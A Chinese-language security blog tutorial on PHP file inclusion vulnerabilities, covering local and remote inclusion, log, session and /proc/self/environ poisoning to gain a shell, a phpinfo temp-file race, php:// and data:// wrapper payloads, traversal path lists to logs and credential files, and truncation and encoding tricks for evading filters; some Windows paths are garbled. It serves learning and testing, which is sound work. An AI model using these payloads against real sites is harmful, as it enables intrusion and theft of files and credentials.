TOP10漏洞之文件包含

前沿

很早之前就学习了top10的漏洞,但是对于我自己来说基本上就大体的过来一遍,有一句话就是学习好基础,让你少奋斗两年, 于是我现在又来过一遍top10漏洞。在这些中主要侧重于我自己的思路。

文件包含含义:

文件包含在我的理解来说就是程序员在自己写代码是要调用其他的文件,使用包含文件的函数。在我们耳中关于文件包含漏洞的存在基本在php,但是在jsp, asp中同样也存在文件包含。
于是在这篇文章中,我们学习这三种类型的文件包含漏洞。

php

在php中文件包含分为远程文件包含(LFI)本地文件包含(RFI)

LFI

本地文件包含漏洞,顾名思义就是包含本地的文件,当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。现实中多遇到的文件包含为本地文件包含。

RFI

远程文件包含漏洞,顾名思义就是包含远程服务器上的文件。
需要在php.ini上开启all_url_fopen=on && all_url_include=on
在php中,all_url_fopen默认为on, all_url_include在php版本5.2后,就默认为off.若需要使用远程文件包含,就要想办法开启all_url_include

php文件包含的函数:

include(),include_once(),require(),require_once(),file_get_contents(),readfile(),highlight_file

require()

注意:当require()中的 传参没有的存在的文件时就会报错,并且不执行后面的语句。

<?php
    $a = $_GET['test'];
    require $a;
    echo "hhhhhhh";
?>

请输入图片描述

这个1.txt就是不存在的文件,他报错并且不执行echo语句。

请输入图片描述

而当test.txt是存在的文件的时候,一切正常,并且可以包含test.txt文件的内容。

在这儿还有一个点,当用这几个函数包含文件时,无论时什么类型的文件都会解析为php。

请输入图片描述

  • 如果allow_url_fopen = off | allow_url_include=off,
    1, 普通本地文件包含正常

2, 普通远程文件包含不正常
3, 伪协议包含文件不正常

  • 如果allow_url_fopen = off | allow_url_include=on,
    1, 普通方式包含本地文件正常

2, 普通远程文件包含不正常
3, 伪协议包含文件正常

  • 如果allow_url_fopen = on | allow_url_include = off
    1, 普通方式包含本地文件正常

2, 普通远程文件包含不正常
3, 伪协议包含文件不正常

  • 如果allow_url_fopen = on | allow_url_include = on
    1, 普通方式包含本地文件正常

2, 普通远程文件包含正常
3, 伪协议包含文件正常

require_once()

与require类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含

include()

include()函数和require()存在很多的相似之 处,唯一不同的就是require()函数对于报错处理的更加严谨,并且会阻止后面程序的执行。

include_once()

与include类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

readfile()

<?php 
$file = $_GET['filename'];
echo  readfile($file);
?>

对于这个函数,all_url_include on或off对其没有影响,all_url_fopen=on 能让其包含远程文件。

file_get_contents()

这个函数常用于获取文件内容。尤其是php文件代码,配合伪协议中的协议进行传输。

<?php 
$file = $_GET['filename'];
echo  readfile($file);
?>

对于这个函数通readfile()函数一样。
all_url_include on或off对其没有影响,all_url_fopen=on 能让其包含远程文件。

本地文件包含至getshell的思路

1,日志

通常防卫目标系统的某些对外开放的服务是,系统会自动的将访问记录写入在日志(access.log,error.log)中,然后利用这个我们就有机会将代码写进日志中,然后去文件包含日志即可getshell。
但是需要注意的是:

  • 如果包含错误可能是open_base_dir()被限制
  • 如果日志文件太大,包含可能会失败,所以选择合适的时间(如凌晨)
  • 很多种日志文件我们都可以利用(apache,ssh,nginx)

apache

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log

读配置文件找日志路径

/etc/httpd/conf/httpd.conf
/etc/init.d/httpd

windows

window 2003+iis6.0 日志文件默认放在
C:WINDOWSsystem32Logfiles
配置文件默认在
C:Windowssystem32inetsrvmetabase.xml

iis 7日志文件默认在

C:inetpublogsLogFiles
配置文件默认目录
C:WindowsSystem32inetsrvconfigapplicationHost.config

C:apachelogsaccess.log

C:Program FilesApache GroupApachelogsaccess.log
C:program fileswampapache2logs
C:wamplogs
C:xamppapachelogserror.log

C:apachelogserror.log

C:Program FilesApache GroupApachelogserror.log
C:wampapache2logs
C:xamppapachelogsaccess.log

敏感文件

Windows:
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息

2,session

原理分析:session会话是储存在多个页面中使用的信息的方式。session于cookie不同,该信息是不储存在用户的计算机上的。
会话变量使用PHP全局变量$ _SESSION设置。
当php程序结束时,,他会自动读取session中的内容,并将其反序列化,然后发送到保存管理器来进行保存。
保存管理器会将会话数据保存在seesion.save_path中(在phpinfo下即可查看)。

常见的php—session存放位置如下:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
/tmp/tmp

<?php
//启动session的初始化
session_start();
//注册session变量,赋值为一个用户的名称
$_SESSION["username"]="<?php phpinfo(); ?>";
?>

当我们访问2.php时就会在tmp/tmp下生成一个文件。

Alt text

我们发现在访问2.php时,我们的cookie为PHPSESSID=i5atprq4vgilf6pconf8dm6540

Alt text

于是发现在tmp/tmp下生成文件的后半部分的名和cookie一模一样。所以验证了session文件的命名规则是sess_[PHPSESSID]。
我们去查看tmp/tmp下文件的内容为:username|s:19:"<?php phpinfo(); ?>";
于是也验证了session传过去的数据是经过反序列化的。

于是
Alt text

3,包含系统环境'

包含 /proc/self/environ 可以看到系统的一些环境变量,如web 路径等。

http://127.0.0.1/index..php?text=../../../../../../../../proc/self/environ

使用burpsuite抓包,并且修改http中的协议,User-Agent:<?php phpinfo(); ?>
访问http://127.0.0.1/index..php?text=../../../../../../../../proc/self/environ即可看见包含了phpinfo
具体可见:https://www.youtube.com/watch?reload=9&v=dlh0ogYy9ys


4,包含临时文件

如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

包含临时文件的流程如下:

Alt text

引用方法简述:

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。
在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

环境启动后,访问http://192.168.85.152:8080/lfi.php?file=/etc/passwd发现确实存在文件包含漏洞。

Alt text

python2 exp.py 192.168.85.152 8080 100:

Alt text

可见,执行到第289个数据包的时候就写入成功。然后,利用lfi.php,即可执行任意命令:

Alt text

5,软链接文件包含绕过open_basedir

环境可以参考HCTF2018-Hide-and-seek

使用ln -s /etc/passwd passwd命令生成一个指向/etc/passwd文件的软链接,然后用zip -y passwd.zip passwd命令压缩,然后上传,即可文件包含并绕过open_basedir

Alt text

PHP协议

php://input

php://input 是个可以访问请求的原始数据的只读流。POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。

allow_url_include=on
allow_url_fopen=off/on

<?php  
$test=$_GET['NNULLULL'];
include($test);
?>  

Alt text

php://output

对于allow_url_fopen和allow_url_include没有限制

php://output 是一个只写的数据流,允许你以 print 和 echo 一样的方式写入到输出缓冲区。

<?php  
$code=$_GET["NNULLULL"];  
file_put_contents($code,"NNULLULL is a good boy!!!");   
?>  

file://

file:// — 访问本地文件系统
用法

/path/to/file.ext
◦relative/path/to/file.ext
◦fileInCwd.ext
◦C:/path/to/winfile.ext
◦C:\path\to\winfile.ext
◦\\smbserver\share\path\to\winfile.ext
◦file:///path/to/file.ext
<?php  
$code=$_GET["NNULLULL"];  
include($code);
?>  

Alt text

php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器
不需要开启allow_url_fopen和allow_url_include

Alt text
主要利用了resourceconvert函数,从而去读取php代码。

常用的payload:
?file=php://filter/read=convert.base64-encode/resource=index.php(读取base64加密后的源码)
?file=php://filter/convert.base64-encode/resource=index.php(去掉read,可以绕过一些waf)
?file=php://filter/convert.base64-encode/resource=index.php
php://filter/write=xxxx/resource=
在write和read后面可以添加过滤器
常见的过滤器如下:

(1)字符串过滤器

string.rot13 进行rot13转换
string.toupper 将字符全部大写
string.tolower 将字符全部小写
string.strip_tags 去除空字符、HTML 和 PHP 标记后的结果
(2)转换过滤器
convert.base64-encode base64 编码
convert.base64-decode base64 解码
convert.quoted-printable-encode quoted-printable 编码(也是另一种将二进制进行编码的方案)
convert.quoted-printable-decode quoted-printable 解码
convert.iconv 实现任意两种编码之间的转换
(3)压缩过滤器
zlib.deflate 压缩过滤器
zlib.inflate 解压过滤器
bzip2.compress 压缩过滤器
bzip2.decompress 解压过滤器
(4)加密过滤器
mcrypt.* 加密过滤器
mdecrypt.* 解密过滤器

Alt text

关于ctf php://filter的妙用可以参考 这篇文章

data://

php版本>5.2.0

用法:
data://text/plain;base64,
data://text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
data:text/plain,<?php phpinfo()?>
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

Alt text

Alt text

zip://,bzip://,zlib://

allow_url_fopen和allow://url_include没有限制

Alt text

php版本>5.3.0

zip

使用方法:
zip:///[压缩文件的绝对路径]#[压缩文件名] --》#要用url编码

Alt text
1.txt中的内容为<?php phpinfo(); ?>

Alt text

bzip2

使用方法:
compress.bzip2://file.bz2

payload:
http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.bz2
或者文件改为jpg后缀
http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/liuxianglai/Desktop/test.jpg

zlib

使用方法和bzip2几乎相同
payload:
a=compress.zlib://C:/Users/liuxianglai/Desktop/test.bz2

过waf

%00截断

要求: magic_quotes_gpc=off && php版本小于5.3.4

/etc/passwd%00

%00截断目录遍历:

要求 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris

/var/www/%00

路径长度截断:

(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

/etc/passwd/././././././.[…]/./././././.

点号截断:

(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

/boot.ini/………[…]…………

编码截断

利用url编码

  • ../
    %2e%2e%2f

..%2f
%2e%2e/

  • ..\
    %2e%2e%5c

..%5c
%2e%2e\

  • 二次编码
    ../

%252e%252e%252f
..\
%252e%252e%255c

  • 服务器编码方式
    ../

%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”uC0AE”,最后转义为ASCCII字符的”.”(点)
..\
..%c1%9c
(注:IIS)

通配符使用

  • <<

Alt text

在没有base_dir限制的情况下,会读到c:windowswin.ini文件

这个问题是由Windows APi FindFirstFile函数引起的,这是FindFirstFile的一个特性,查看php原代码发现在win32readdir.c,正是调用了FindFirstFile来操作文件的。因此受影响的并不止include函数。



参考:https://3wapp.github.io/WebSecurity/php-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.html

https://www.k0rz3n.com/2018/11/20/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8B%20PHP%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#%E4%B8%89%E3%80%81file-get-contents

https://www.cnblogs.com/iamstudy/articles/include_file.html

https://github.com/vulhub/vulhub/tree/master/php/inclusion

https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/

https://3wapp.github.io/WebSecurity/php-文件包含.html

最后修改:2019 年 11 月 05 日 06 : 04 PM
如果觉得我的文章对你有用,请随意赞赏